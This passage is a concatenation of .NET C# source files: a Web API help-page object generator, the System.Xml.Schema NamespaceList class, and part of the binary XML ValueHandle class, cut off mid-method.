type.</returns> public object GenerateObject(Type type) { return GenerateObject(type, new Dictionary<Type, object>()); } [SuppressMessage("Microsoft.Design", "CA1031:DoNotCatchGeneralExceptionTypes", Justification = "Here we just want to return null if anything goes wrong.")] private object GenerateObject(Type type, Dictionary<Type, object> createdObjectReferences) { try { if (SimpleTypeObjectGenerator.CanGenerateObject(type)) { return SimpleObjectGenerator.GenerateObject(type); } if (type.IsArray) { return GenerateArray(type, DefaultCollectionSize, createdObjectReferences); } if (type.IsGenericType) { return GenerateGenericType(type, DefaultCollectionSize, createdObjectReferences); } if (type == typeof(IDictionary)) { return GenerateDictionary(typeof(Hashtable), DefaultCollectionSize, createdObjectReferences); } if (typeof(IDictionary).IsAssignableFrom(type)) { return GenerateDictionary(type, DefaultCollectionSize, createdObjectReferences); } if (type == typeof(IList) || type == typeof(IEnumerable) || type == typeof(ICollection)) { return GenerateCollection(typeof(ArrayList), DefaultCollectionSize, createdObjectReferences); } if (typeof(IList).IsAssignableFrom(type)) { return GenerateCollection(type, DefaultCollectionSize, createdObjectReferences); } if (type == typeof(IQueryable)) { return GenerateQueryable(type, DefaultCollectionSize, createdObjectReferences); } if (type.IsEnum) { return GenerateEnum(type); } if (type.IsPublic || type.IsNestedPublic) { return GenerateComplexObject(type, createdObjectReferences); } } catch { // Returns null if anything fails return null; } return null; } private static object GenerateGenericType(Type type, int collectionSize, Dictionary<Type, object> createdObjectReferences) { Type genericTypeDefinition = type.GetGenericTypeDefinition(); if (genericTypeDefinition == typeof(Nullable<>)) { return GenerateNullable(type, createdObjectReferences); } if (genericTypeDefinition == typeof(KeyValuePair<,>)) { return GenerateKeyValuePair(type, createdObjectReferences); } if (IsTuple(genericTypeDefinition)) { return GenerateTuple(type, createdObjectReferences); } Type[] genericArguments = type.GetGenericArguments(); if (genericArguments.Length == 1) { if (genericTypeDefinition == typeof(IList<>) || genericTypeDefinition == typeof(IEnumerable<>) || genericTypeDefinition == typeof(ICollection<>)) { Type collectionType = typeof(List<>).MakeGenericType(genericArguments); return GenerateCollection(collectionType, collectionSize, createdObjectReferences); } if (genericTypeDefinition == typeof(IQueryable<>)) { return GenerateQueryable(type, collectionSize, createdObjectReferences); } Type closedCollectionType = typeof(ICollection<>).MakeGenericType(genericArguments[0]); if (closedCollectionType.IsAssignableFrom(type)) { return GenerateCollection(type, collectionSize, createdObjectReferences); } } if (genericArguments.Length == 2) { if (genericTypeDefinition == typeof(IDictionary<,>)) { Type dictionaryType = typeof(Dictionary<,>).MakeGenericType(genericArguments); return GenerateDictionary(dictionaryType, collectionSize, createdObjectReferences); } Type closedDictionaryType = typeof(IDictionary<,>).MakeGenericType(genericArguments[0], genericArguments[1]); if (closedDictionaryType.IsAssignableFrom(type)) { return GenerateDictionary(type, collectionSize, createdObjectReferences); } } if (type.IsPublic || type.IsNestedPublic) { return GenerateComplexObject(type, createdObjectReferences); } return null; } private static object GenerateTuple(Type type, Dictionary<Type, object> createdObjectReferences) { Type[] genericArgs = type.GetGenericArguments(); object[] parameterValues = new object[genericArgs.Length]; bool failedToCreateTuple = true; ObjectGenerator objectGenerator = new ObjectGenerator(); for (int i = 0; i < genericArgs.Length; i++) { parameterValues[i] = objectGenerator.GenerateObject(genericArgs[i], createdObjectReferences); failedToCreateTuple &= parameterValues[i] == null; } if (failedToCreateTuple) { return null; } object result = Activator.CreateInstance(type, parameterValues); return result; } private static bool IsTuple(Type genericTypeDefinition) { return genericTypeDefinition == typeof(Tuple<>) || genericTypeDefinition == typeof(Tuple<,>) || genericTypeDefinition == typeof(Tuple<,,>) || genericTypeDefinition == typeof(Tuple<,,,>) || genericTypeDefinition == typeof(Tuple<,,,,>) || genericTypeDefinition == typeof(Tuple<,,,,,>) || genericTypeDefinition == typeof(Tuple<,,,,,,>) || genericTypeDefinition == typeof(Tuple<,,,,,,,>); } private static object GenerateKeyValuePair(Type keyValuePairType, Dictionary<Type, object> createdObjectReferences) { Type[] genericArgs = keyValuePairType.GetGenericArguments(); Type typeK = genericArgs[0]; Type typeV = genericArgs[1]; ObjectGenerator objectGenerator = new ObjectGenerator(); object keyObject = objectGenerator.GenerateObject(typeK, createdObjectReferences); object valueObject = objectGenerator.GenerateObject(typeV, createdObjectReferences); if (keyObject == null && valueObject == null) { // Failed to create key and values return null; } object result = Activator.CreateInstance(keyValuePairType, keyObject, valueObject); return result; } private static object GenerateArray(Type arrayType, int size, Dictionary<Type, object> createdObjectReferences) { Type type = arrayType.GetElementType(); Array result = Array.CreateInstance(type, size); bool areAllElementsNull = true; ObjectGenerator objectGenerator = new ObjectGenerator(); for (int i = 0; i < size; i++) { object element = objectGenerator.GenerateObject(type, createdObjectReferences); result.SetValue(element, i); areAllElementsNull &= element == null; } if (areAllElementsNull) { return null; } return result; } private static object GenerateDictionary(Type dictionaryType, int size, Dictionary<Type, object> createdObjectReferences) { Type typeK = typeof(object); Type typeV = typeof(object); if (dictionaryType.IsGenericType) { Type[] genericArgs = dictionaryType.GetGenericArguments(); typeK = genericArgs[0]; typeV = genericArgs[1]; } object result = Activator.CreateInstance(dictionaryType); MethodInfo addMethod = dictionaryType.GetMethod("Add") ?? dictionaryType.GetMethod("TryAdd"); MethodInfo containsMethod = dictionaryType.GetMethod("Contains") ?? dictionaryType.GetMethod("ContainsKey"); ObjectGenerator objectGenerator = new ObjectGenerator(); for (int i = 0; i < size; i++) { object newKey = objectGenerator.GenerateObject(typeK, createdObjectReferences); if (newKey == null) { // Cannot generate a valid key return null; } bool containsKey = (bool)containsMethod.Invoke(result, new object[] { newKey }); if (!containsKey) { object newValue = objectGenerator.GenerateObject(typeV, createdObjectReferences); addMethod.Invoke(result, new object[] { newKey, newValue }); } } return result; } private static object GenerateEnum(Type enumType) { Array possibleValues = Enum.GetValues(enumType); if (possibleValues.Length > 0) { return possibleValues.GetValue(0); } return null; } private static object GenerateQueryable(Type queryableType, int size, Dictionary<Type, object> createdObjectReferences) { bool isGeneric = queryableType.IsGenericType; object list; if (isGeneric) { Type listType = typeof(List<>).MakeGenericType(queryableType.GetGenericArguments()); list = GenerateCollection(listType, size, createdObjectReferences); } else { list = GenerateArray(typeof(object[]), size, createdObjectReferences); } if (list == null) { return null; } if (isGeneric) { Type argumentType = typeof(IEnumerable<>).MakeGenericType(queryableType.GetGenericArguments()); MethodInfo asQueryableMethod = typeof(Queryable).GetMethod("AsQueryable", new[] { argumentType }); return asQueryableMethod.Invoke(null, new[] { list }); } return Queryable.AsQueryable((IEnumerable)list); } private static object GenerateCollection(Type collectionType, int size, Dictionary<Type, object> createdObjectReferences) { Type type = collectionType.IsGenericType ? collectionType.GetGenericArguments()[0] : typeof(object); object result = Activator.CreateInstance(collectionType); MethodInfo addMethod = collectionType.GetMethod("Add"); bool areAllElementsNull = true; ObjectGenerator objectGenerator = new ObjectGenerator(); for (int i = 0; i < size; i++) { object element = objectGenerator.GenerateObject(type, createdObjectReferences); addMethod.Invoke(result, new object[] { element }); areAllElementsNull &= element == null; } if (areAllElementsNull) { return null; } return result; } private static object GenerateNullable(Type nullableType, Dictionary<Type, object> createdObjectReferences) { Type type = nullableType.GetGenericArguments()[0]; ObjectGenerator objectGenerator = new ObjectGenerator(); return objectGenerator.GenerateObject(type, createdObjectReferences); } private static object GenerateComplexObject(Type type, Dictionary<Type, object> createdObjectReferences) { object result = null; if (createdObjectReferences.TryGetValue(type, out result)) { // The object has been created already, just return it. This will handle the circular reference case. return result; } if (type.IsValueType) { result = Activator.CreateInstance(type); } else { ConstructorInfo defaultCtor = type.GetConstructor(Type.EmptyTypes); if (defaultCtor == null) { // Cannot instantiate the type because it doesn't have a default constructor return null; } result = defaultCtor.Invoke(new object[0]); } createdObjectReferences.Add(type, result); SetPublicProperties(type, result, createdObjectReferences); SetPublicFields(type, result, createdObjectReferences); return result; } private static void SetPublicProperties(Type type, object obj, Dictionary<Type, object> createdObjectReferences) { PropertyInfo[] properties = type.GetProperties(BindingFlags.Public | BindingFlags.Instance); ObjectGenerator objectGenerator = new ObjectGenerator(); foreach (PropertyInfo property in properties) { if (property.CanWrite) { object propertyValue = objectGenerator.GenerateObject(property.PropertyType, createdObjectReferences); property.SetValue(obj, propertyValue, null); } } } private static void SetPublicFields(Type type, object obj, Dictionary<Type, object> createdObjectReferences) { FieldInfo[] fields = type.GetFields(BindingFlags.Public | BindingFlags.Instance); ObjectGenerator objectGenerator = new ObjectGenerator(); foreach (FieldInfo field in fields) { object fieldValue = objectGenerator.GenerateObject(field.FieldType, createdObjectReferences); field.SetValue(obj, fieldValue); } } private class SimpleTypeObjectGenerator { private long _index = 0; private static readonly Dictionary<Type, Func<long, object>> DefaultGenerators = InitializeGenerators(); [SuppressMessage("Microsoft.Maintainability", "CA1502:AvoidExcessiveComplexity", Justification = "These are simple type factories and cannot be split up.")] private static Dictionary<Type, Func<long, object>> InitializeGenerators() { return new Dictionary<Type, Func<long, object>> { { typeof(Boolean), index => true }, { typeof(Byte), index => (Byte)64 }, { typeof(Char), index => (Char)65 }, { typeof(DateTime), index => DateTime.Now }, { typeof(DateTimeOffset), index => new DateTimeOffset(DateTime.Now) }, { typeof(DBNull), index => DBNull.Value }, { typeof(Decimal), index => (Decimal)index }, { typeof(Double), index => (Double)(index + 0.1) }, { typeof(Guid), index => Guid.NewGuid() }, { typeof(Int16), index => (Int16)(index % Int16.MaxValue) }, { typeof(Int32), index => (Int32)(index % Int32.MaxValue) }, { typeof(Int64), index => (Int64)index }, { typeof(Object), index => new object() }, { typeof(SByte), index => (SByte)64 }, { typeof(Single), index => (Single)(index + 0.1) }, { typeof(String), index => { return String.Format(CultureInfo.CurrentCulture, "sample string {0}", index); } }, { typeof(TimeSpan), index => { return TimeSpan.FromTicks(1234567); } }, { typeof(UInt16), index => (UInt16)(index % UInt16.MaxValue) }, { typeof(UInt32), index => (UInt32)(index % UInt32.MaxValue) }, { typeof(UInt64), index => (UInt64)index }, { typeof(Uri), index => { return new Uri(String.Format(CultureInfo.CurrentCulture, "http://webapihelppage{0}.com", index)); } }, }; } public static bool CanGenerateObject(Type type) { return DefaultGenerators.ContainsKey(type); } public object GenerateObject(Type type) { return DefaultGenerators[type](++_index); } } } }
//------------------------------------------------------------------------------ // <copyright file="NamespaceList.cs" company="Microsoft"> // Copyright (c) Microsoft Corporation. All rights reserved. // </copyright> // <owner current="true" primary="true">[....]</owner> //------------------------------------------------------------------------------ namespace System.Xml.Schema { using System.Collections; using System.Text; using System.Diagnostics; internal class NamespaceList { public enum ListType { Any, Other, Set }; private ListType type = ListType.Any; private Hashtable set = null; private string targetNamespace; public NamespaceList() { } public NamespaceList(string namespaces, string targetNamespace) { Debug.Assert(targetNamespace != null); this.targetNamespace = targetNamespace; namespaces = namespaces.Trim(); if (namespaces == "##any" || namespaces.Length == 0) { type = ListType.Any; } else if (namespaces == "##other") { type = ListType.Other; } else { type = ListType.Set; set = new Hashtable(); string[] splitString = XmlConvert.SplitString(namespaces); for (int i = 0; i < splitString.Length; ++i) { if (splitString[i] == "##local") { set[string.Empty] = string.Empty; } else if (splitString[i] == "##targetNamespace") { set[targetNamespace] = targetNamespace; } else { XmlConvert.ToUri (splitString[i]); // can throw set[splitString[i]] = splitString[i]; } } } } public NamespaceList Clone() { NamespaceList nsl = (NamespaceList)MemberwiseClone(); if (type == ListType.Set) { Debug.Assert(set != null); nsl.set = (Hashtable)(set.Clone()); } return nsl; } public ListType Type { get { return type; } } public string Excluded { get { return targetNamespace; } } public ICollection Enumerate { get { switch (type) { case ListType.Set: return set.Keys; case ListType.Other: case ListType.Any: default: throw new InvalidOperationException(); } } } public virtual bool Allows(string ns) { switch (type) { case ListType.Any: return true; case ListType.Other: return ns != targetNamespace && ns.Length != 0; case ListType.Set: return set[ns] != null; } Debug.Assert(false); return false; } public bool Allows(XmlQualifiedName qname) { return Allows(qname.Namespace); } public override string ToString() { switch (type) { case ListType.Any: return "##any"; case ListType.Other: return "##other"; case ListType.Set: StringBuilder sb = new StringBuilder(); bool first = true; foreach(string s in set.Keys) { if (first) { first = false; } else { sb.Append(" "); } if (s == targetNamespace) { sb.Append("##targetNamespace"); } else if (s.Length == 0) { sb.Append("##local"); } else { sb.Append(s); } } return sb.ToString(); } Debug.Assert(false); return string.Empty; } public static bool IsSubset(NamespaceList sub, NamespaceList super) { if (super.type == ListType.Any) { return true; } else if (sub.type == ListType.Other && super.type == ListType.Other) { return super.targetNamespace == sub.targetNamespace; } else if (sub.type == ListType.Set) { if (super.type == ListType.Other) { return !sub.set.Contains(super.targetNamespace); } else { Debug.Assert(super.type == ListType.Set); foreach (string ns in sub.set.Keys) { if (!super.set.Contains(ns)) { return false; } } return true; } } return false; } public static NamespaceList Union(NamespaceList o1, NamespaceList o2, bool v1Compat) { NamespaceList nslist = null; Debug.Assert(o1 != o2); if (o1.type == ListType.Any) { //clause 2 - o1 is Any nslist = new NamespaceList(); } else if (o2.type == ListType.Any) { //clause 2 - o2 is Any nslist = new NamespaceList(); } else if (o1.type == ListType.Set && o2.type == ListType.Set) { //clause 3 , both are sets nslist = o1.Clone(); foreach (string ns in o2.set.Keys) { nslist.set[ns] = ns; } } else if (o1.type == ListType.Other && o2.type == ListType.Other) { //clause 4, both are negations if (o1.targetNamespace == o2.targetNamespace) { //negation of same value nslist = o1.Clone(); } else { //Not a breaking change, going from not expressible to not(absent) nslist = new NamespaceList("##other", string.Empty); //clause 4, negations of different values, result is not(absent) } } else if (o1.type == ListType.Set && o2.type == ListType.Other) { if (v1Compat) { if (o1.set.Contains(o2.targetNamespace)) { nslist = new NamespaceList(); } else { //This was not there originally in V1, added for consistency since its not breaking nslist = o2.Clone(); } } else { if (o2.targetNamespace != string.Empty) { //clause 5, o1 is set S, o2 is not(tns) nslist = o1.CompareSetToOther(o2); } else if (o1.set.Contains(string.Empty)) { //clause 6.1 - set S includes absent, o2 is not(absent) nslist = new NamespaceList(); } else { //clause 6.2 - set S does not include absent, result is not(absent) nslist = new NamespaceList("##other", string.Empty); } } } else if (o2.type == ListType.Set && o1.type == ListType.Other) { if (v1Compat) { if (o2.set.Contains(o2.targetNamespace)) { nslist = new NamespaceList(); } else { nslist = o1.Clone(); } } else { //New rules if (o1.targetNamespace != string.Empty) { //clause 5, o1 is set S, o2 is not(tns) nslist = o2.CompareSetToOther(o1); } else if (o2.set.Contains(string.Empty)) { //clause 6.1 - set S includes absent, o2 is not(absent) nslist = new NamespaceList(); } else { //clause 6.2 - set S does not include absent, result is not(absent) nslist = new NamespaceList("##other", string.Empty); } } } return nslist; } private NamespaceList CompareSetToOther(NamespaceList other) { //clause 5.1 NamespaceList nslist = null; if (this.set.Contains(other.targetNamespace)) { //S contains negated ns if (this.set.Contains(string.Empty)) { // AND S contains absent nslist = new NamespaceList(); //any is the result } else { //clause 5.2 nslist = new NamespaceList("##other", string.Empty); } } else if (this.set.Contains(string.Empty)) { //clause 5.3 - Not expressible nslist = null; } else { //clause 5.4 - Set S does not contain negated ns or absent nslist = other.Clone(); } return nslist; } public static NamespaceList Intersection(NamespaceList o1, NamespaceList o2, bool v1Compat) { NamespaceList nslist = null; Debug.Assert(o1 != o2); //clause 1 if (o1.type == ListType.Any) { //clause 2 - o1 is any nslist = o2.Clone(); } else if (o2.type == ListType.Any) { //clause 2 - o2 is any nslist = o1.Clone(); } else if (o1.type == ListType.Set && o2.type == ListType.Other) { //Clause 3 o2 is other nslist = o1.Clone(); nslist.RemoveNamespace(o2.targetNamespace); if (!v1Compat) { nslist.RemoveNamespace(string.Empty); //remove ##local } } else if (o1.type == ListType.Other && o2.type == ListType.Set) { //Clause 3 o1 is other nslist = o2.Clone(); nslist.RemoveNamespace(o1.targetNamespace); if (!v1Compat) { nslist.RemoveNamespace(string.Empty); //remove ##local } } else if (o1.type == ListType.Set && o2.type == ListType.Set) { //clause 4 nslist = o1.Clone(); nslist = new NamespaceList(); nslist.type = ListType.Set; nslist.set = new Hashtable(); foreach(string ns in o1.set.Keys) { if (o2.set.Contains(ns)) { nslist.set.Add(ns, ns); } } } else if (o1.type == ListType.Other && o2.type == ListType.Other) { if (o1.targetNamespace == o2.targetNamespace) { //negation of same namespace name nslist = o1.Clone(); return nslist; } if (!v1Compat) { if (o1.targetNamespace == string.Empty) { // clause 6 - o1 is negation of absent nslist = o2.Clone(); } else if (o2.targetNamespace == string.Empty) { //clause 6 - o1 is negation of absent nslist = o1.Clone(); } } //if it comes here, its not expressible //clause 5 } return nslist; } private void RemoveNamespace(string tns) { if (this.set[tns] != null) { this.set.Remove(tns); } } public bool IsEmpty() { return ((type == ListType.Set) && ((set == null) || set.Count == 0)); } }; internal class NamespaceListV1Compat : NamespaceList { public NamespaceListV1Compat(string namespaces, string targetNamespace) : base(namespaces, targetNamespace) {} public override bool Allows(string ns) { if (this.Type == ListType.Other) { return ns != Excluded; } else { return base.Allows(ns); } } } }
// Licensed to the .NET Foundation under one or more agreements. // The .NET Foundation licenses this file to you under the MIT license. // See the LICENSE file in the project root for more information. using System.Runtime.Serialization; using System.Diagnostics; using System.Globalization; using System.Text; namespace System.Xml { internal enum ValueHandleConstStringType { String = 0, Number = 1, Array = 2, Object = 3, Boolean = 4, Null = 5, } internal static class ValueHandleLength { public const int Int8 = 1; public const int Int16 = 2; public const int Int32 = 4; public const int Int64 = 8; public const int UInt64 = 8; public const int Single = 4; public const int Double = 8; public const int Decimal = 16; public const int DateTime = 8; public const int TimeSpan = 8; public const int Guid = 16; public const int UniqueId = 16; } internal enum ValueHandleType { Empty, True, False, Zero, One, Int8, Int16, Int32, Int64, UInt64, Single, Double, Decimal, DateTime, TimeSpan, Guid, UniqueId, UTF8, EscapedUTF8, Base64, Dictionary, List, Char, Unicode, QName, ConstString } internal class ValueHandle { private readonly XmlBufferReader _bufferReader; private ValueHandleType _type; private int _offset; private int _length; private static Base64Encoding s_base64Encoding; private static readonly string[] s_constStrings = { "string", "number", "array", "object", "boolean", "null", }; public ValueHandle(XmlBufferReader bufferReader) { _bufferReader = bufferReader; _type = ValueHandleType.Empty; } private static Base64Encoding Base64Encoding => s_base64Encoding ??= new Base64Encoding(); public void SetConstantValue(ValueHandleConstStringType constStringType) { _type = ValueHandleType.ConstString; _offset = (int)constStringType; } public void SetValue(ValueHandleType type) { _type = type; } public void SetDictionaryValue(int key) { SetValue(ValueHandleType.Dictionary, key, 0); } public void SetCharValue(int ch) { SetValue(ValueHandleType.Char, ch, 0); } public void SetQNameValue(int prefix, int key) { SetValue(ValueHandleType.QName, key, prefix); } public void SetValue(ValueHandleType type, int offset, int length) { _type = type; _offset = offset; _length = length; } public bool IsWhitespace() { switch (_type) { case ValueHandleType.UTF8: return _bufferReader.IsWhitespaceUTF8(_offset, _length); case ValueHandleType.Dictionary: return _bufferReader.IsWhitespaceKey(_offset); case ValueHandleType.Char: int ch = GetChar(); return ch <= char.MaxValue && XmlConverter.IsWhitespace((char)ch); case ValueHandleType.EscapedUTF8: return _bufferReader.IsWhitespaceUTF8(_offset, _length); case ValueHandleType.Unicode: return _bufferReader.IsWhitespaceUnicode(_offset, _length); case ValueHandleType.True: case ValueHandleType.False: case ValueHandleType.Zero: case ValueHandleType.One: return false; case ValueHandleType.ConstString: return s_constStrings[_offset].Length == 0; default: return _length == 0; } } public Type ToType() { switch (_type) { case ValueHandleType.False: case ValueHandleType.True: return typeof(bool); case ValueHandleType.Zero: case ValueHandleType.One: case ValueHandleType.Int8: case ValueHandleType.Int16: case ValueHandleType.Int32: return typeof(int); case ValueHandleType.Int64: return typeof(long); case ValueHandleType.UInt64: return typeof(ulong); case ValueHandleType.Single: return typeof(float); case ValueHandleType.Double: return typeof(double); case ValueHandleType.Decimal: return typeof(decimal); case ValueHandleType.DateTime: return typeof(DateTime); case ValueHandleType.Empty: case ValueHandleType.UTF8: case ValueHandleType.Unicode: case ValueHandleType.EscapedUTF8: case ValueHandleType.Dictionary: case ValueHandleType.Char: case ValueHandleType.QName: case ValueHandleType.ConstString: return typeof(string); case ValueHandleType.Base64: return typeof(byte[]); case ValueHandleType.List: return typeof(object[]); case ValueHandleType.UniqueId: return typeof(UniqueId); case ValueHandleType.Guid: return typeof(Guid); case ValueHandleType.TimeSpan: return typeof(TimeSpan); default: throw System.Runtime.Serialization.DiagnosticUtility.ExceptionUtility.ThrowHelperError(new InvalidOperationException()); } } public bool ToBoolean() { ValueHandleType type = _type; if (type == ValueHandleType.False) return false; if (type == ValueHandleType.True) return true; if (type == ValueHandleType.UTF8) return XmlConverter.ToBoolean(_bufferReader.Buffer, _offset, _length); if (type == ValueHandleType.Int8) { int value = GetInt8(); if (value == 0) return false; if (value == 1) return true; } return XmlConverter.ToBoolean(GetString()); } public int ToInt() { ValueHandleType type = _type; if (type == ValueHandleType.Zero) return 0; if (type == ValueHandleType.One) return 1; if (type == ValueHandleType.Int8) return GetInt8(); if (type == ValueHandleType.Int16) return GetInt16(); if (type == ValueHandleType.Int32) return GetInt32(); if (type == ValueHandleType.Int64) { long value = GetInt64(); if (value >= int.MinValue && value <= int.MaxValue) { return (int)value; } } if (type == ValueHandleType.UInt64) { ulong value = GetUInt64(); if (value <= int.MaxValue) { return (int)value; } } if (type == ValueHandleType.UTF8) return XmlConverter.ToInt32(_bufferReader.Buffer, _offset, _length); return XmlConverter.ToInt32(GetString()); } public long ToLong() { ValueHandleType type = _type; if (type == ValueHandleType.Zero) return 0; if (type == ValueHandleType.One) return 1; if (type == ValueHandleType.Int8) return GetInt8(); if (type == ValueHandleType.Int16) return GetInt16(); if (type == ValueHandleType.Int32) return GetInt32(); if (type == ValueHandleType.Int64) return GetInt64(); if (type == ValueHandleType.UInt64) { ulong value = GetUInt64(); if (value <= long.MaxValue) { return (long)value; } } if (type == ValueHandleType.UTF8) { return XmlConverter.ToInt64(_bufferReader.Buffer, _offset, _length); } return XmlConverter.ToInt64(GetString()); } public ulong ToULong() { ValueHandleType type = _type; if (type == ValueHandleType.Zero) return 0; if (type == ValueHandleType.One) return 1; if (type >= ValueHandleType.Int8 && type <= ValueHandleType.Int64) { long value = ToLong(); if (value >= 0) return (ulong)value; } if (type == ValueHandleType.UInt64) return GetUInt64(); if (type == ValueHandleType.UTF8) return XmlConverter.ToUInt64(_bufferReader.Buffer, _offset, _length); return XmlConverter.ToUInt64(GetString()); } public float ToSingle() { ValueHandleType type = _type; if (type == ValueHandleType.Single) return GetSingle(); if (type == ValueHandleType.Double) { double value = GetDouble(); if ((value >= float.MinValue && value <= float.MaxValue) || !double.IsFinite(value)) { return (float)value; } } if (type == ValueHandleType.Zero) return 0; if (type == ValueHandleType.One) return 1; if (type == ValueHandleType.Int8) return GetInt8(); if (type == ValueHandleType.Int16) return GetInt16(); if (type == ValueHandleType.UTF8) return XmlConverter.ToSingle(_bufferReader.Buffer, _offset, _length); return XmlConverter.ToSingle(GetString()); } public double ToDouble() { ValueHandleType type = _type; if (type == ValueHandleType.Double) return GetDouble(); if (type == ValueHandleType.Single) return GetSingle(); if (type == ValueHandleType.Zero) return 0; if (type == ValueHandleType.One) return 1; if (type == ValueHandleType.Int8) return GetInt8(); if (type == ValueHandleType.Int16) return GetInt16(); if (type == ValueHandleType.Int32) return GetInt32(); if (type == ValueHandleType.UTF8) return XmlConverter.ToDouble(_bufferReader.Buffer, _offset, _length); return XmlConverter.ToDouble(GetString()); } public decimal ToDecimal() { ValueHandleType type = _type; if (type == ValueHandleType.Decimal) return GetDecimal(); if (type == ValueHandleType.Zero) return 0; if (type == ValueHandleType.One) return 1; if (type >= ValueHandleType.Int8 && type <= ValueHandleType.Int64) return ToLong(); if (type == ValueHandleType.UInt64) return GetUInt64(); if (type == ValueHandleType.UTF8) return XmlConverter.ToDecimal(_bufferReader.Buffer, _offset, _length); return XmlConverter.ToDecimal(GetString()); } public DateTime ToDateTime() { if (_type == ValueHandleType.DateTime) { return XmlConverter.ToDateTime(GetInt64()); } if (_type == ValueHandleType.UTF8) { return XmlConverter.ToDateTime(_bufferReader.Buffer, _offset, _length); } return XmlConverter.ToDateTime(GetString()); } public UniqueId ToUniqueId() { if (_type == ValueHandleType.UniqueId) return GetUniqueId(); if (_type == ValueHandleType.UTF8) return XmlConverter.ToUniqueId(_bufferReader.Buffer, _offset, _length); return XmlConverter.ToUniqueId(GetString()); } public TimeSpan ToTimeSpan() { if (_type == ValueHandleType.TimeSpan) return new TimeSpan(GetInt64()); if (_type == ValueHandleType.UTF8) return XmlConverter.ToTimeSpan(_bufferReader.Buffer, _offset, _length); return XmlConverter.ToTimeSpan(GetString()); } public Guid ToGuid() { if (_type == ValueHandleType.Guid) return GetGuid(); if (_type == ValueHandleType.UTF8) return XmlConverter.ToGuid(_bufferReader.Buffer, _offset, _length); return XmlConverter.ToGuid(GetString()); } public override string ToString() { return GetString(); } public byte[] ToByteArray() { if (_type == ValueHandleType.Base64) { byte[] buffer = new byte[_length]; GetBase64(buffer, 0, _length); return buffer; } if (_type == ValueHandleType.UTF8 && (_length % 4) == 0) { try { int expectedLength = _length / 4 * 3; if (_length > 0) { if (_bufferReader.Buffer[_offset + _length - 1] == '=') { expectedLength--; if (_bufferReader.Buffer[_offset + _length - 2] == '=') expectedLength--; } } byte[] buffer = new byte[expectedLength]; int actualLength = Base64Encoding.GetBytes(_bufferReader.Buffer, _offset, _length, buffer, 0); if (actualLength != buffer.Length) { byte[] newBuffer = new byte[actualLength]; Buffer.BlockCopy(buffer, 0, newBuffer, 0, actualLength); buffer = newBuffer; } return buffer; } catch (FormatException) { // Something unhappy with the characters, fall back to the hard way } } try { return Base64Encoding.GetBytes(XmlConverter.StripWhitespace(GetString())); } catch (FormatException exception) { throw DiagnosticUtility.ExceptionUtility.ThrowHelperError(new XmlException(exception.Message, exception.InnerException)); } } public string GetString() { ValueHandleType type = _type; if (type == ValueHandleType.UTF8) return GetCharsText(); switch (type) { case ValueHandleType.False: return "false"; case ValueHandleType.True: return "true"; case ValueHandleType.Zero: return "0"; case ValueHandleType.One: return "1"; case ValueHandleType.Int8: case ValueHandleType.Int16: case ValueHandleType.Int32: return XmlConverter.ToString(ToInt()); case ValueHandleType.Int64: return XmlConverter.ToString(GetInt64()); case ValueHandleType.UInt64: return XmlConverter.ToString(GetUInt64()); case ValueHandleType.Single: return XmlConverter.ToString(GetSingle()); case ValueHandleType.Double: return XmlConverter.ToString(GetDouble()); case ValueHandleType.Decimal: return XmlConverter.ToString(GetDecimal()); case ValueHandleType.DateTime: return XmlConverter.ToString(ToDateTime()); case ValueHandleType.Empty: return string.Empty; case ValueHandleType.Unicode: return GetUnicodeCharsText(); case ValueHandleType.EscapedUTF8: return GetEscapedCharsText(); case ValueHandleType.Char: return GetCharText(); case ValueHandleType.Dictionary: return GetDictionaryString().Value; case ValueHandleType.Base64: byte[] bytes = ToByteArray(); DiagnosticUtility.DebugAssert(bytes != null, ""); return Base64Encoding.GetString(bytes, 0, bytes.Length); case ValueHandleType.List: return XmlConverter.ToString(ToList()); case ValueHandleType.UniqueId: return XmlConverter.ToString(ToUniqueId()); case ValueHandleType.Guid: return XmlConverter.ToString(ToGuid()); case ValueHandleType.TimeSpan: return XmlConverter.ToString(ToTimeSpan()); case ValueHandleType.QName: return GetQNameDictionaryText(); case ValueHandleType.ConstString: return s_constStrings[_offset]; default: throw System.Runtime.Serialization.DiagnosticUtility.ExceptionUtility.ThrowHelperError(new InvalidOperationException()); } } // ASSUMPTION (Microsoft): all chars in str will be ASCII public bool Equals2(string str, bool checkLower) { if (_type != ValueHandleType.UTF8) return GetString() == str; if (_length != str.Length) return false; byte[] buffer = _bufferReader.Buffer; for (int i = 0; i < _length; ++i) { DiagnosticUtility.DebugAssert(str[i] < 128, ""); byte ch = buffer[i + _offset]; if (ch == str[i]) continue; if (checkLower && char.ToLowerInvariant((char)ch) == str[i]) continue; return false; } return true; } public void Sign(XmlSigningNodeWriter writer) { switch (_type) { case ValueHandleType.Int8: case ValueHandleType.Int16: case ValueHandleType.Int32: writer.WriteInt32Text(ToInt()); break; case ValueHandleType.Int64: writer.WriteInt64Text(GetInt64()); break; case ValueHandleType.UInt64: writer.WriteUInt64Text(GetUInt64()); break; case ValueHandleType.Single: writer.WriteFloatText(GetSingle()); break; case ValueHandleType.Double: writer.WriteDoubleText(GetDouble()); break; case ValueHandleType.Decimal: writer.WriteDecimalText(GetDecimal()); break; case ValueHandleType.DateTime: writer.WriteDateTimeText(ToDateTime()); break; case ValueHandleType.Empty: break; case ValueHandleType.UTF8: writer.WriteEscapedText(_bufferReader.Buffer, _offset, _length); break; case ValueHandleType.Base64: writer.WriteBase64Text(_bufferReader.Buffer, 0, _bufferReader.Buffer, _offset, _length); break; case ValueHandleType.UniqueId: writer.WriteUniqueIdText(ToUniqueId()); break; case ValueHandleType.Guid: writer.WriteGuidText(ToGuid()); break; case ValueHandleType.TimeSpan: writer.WriteTimeSpanText(ToTimeSpan()); break; default: writer.WriteEscapedText(GetString()); break; } } public object[] ToList() { return _bufferReader.GetList(_offset, _length); } public object ToObject() { switch (_type) { case ValueHandleType.False: case ValueHandleType.True: return ToBoolean(); case ValueHandleType.Zero: case ValueHandleType.One: case ValueHandleType.Int8: case ValueHandleType.Int16: case ValueHandleType.Int32: return ToInt(); case ValueHandleType.Int64: return ToLong(); case ValueHandleType.UInt64: return GetUInt64(); case ValueHandleType.Single: return ToSingle(); case ValueHandleType.Double: return ToDouble(); case ValueHandleType.Decimal: return ToDecimal(); case ValueHandleType.DateTime: return ToDateTime(); case ValueHandleType.Empty: case ValueHandleType.UTF8: case ValueHandleType.Unicode: case ValueHandleType.EscapedUTF8: case ValueHandleType.Dictionary: case ValueHandleType.Char: case ValueHandleType.ConstString: return ToString(); case ValueHandleType.Base64: return ToByteArray(); case ValueHandleType.List: return ToList(); case ValueHandleType.UniqueId: return ToUniqueId(); case ValueHandleType.Guid: return 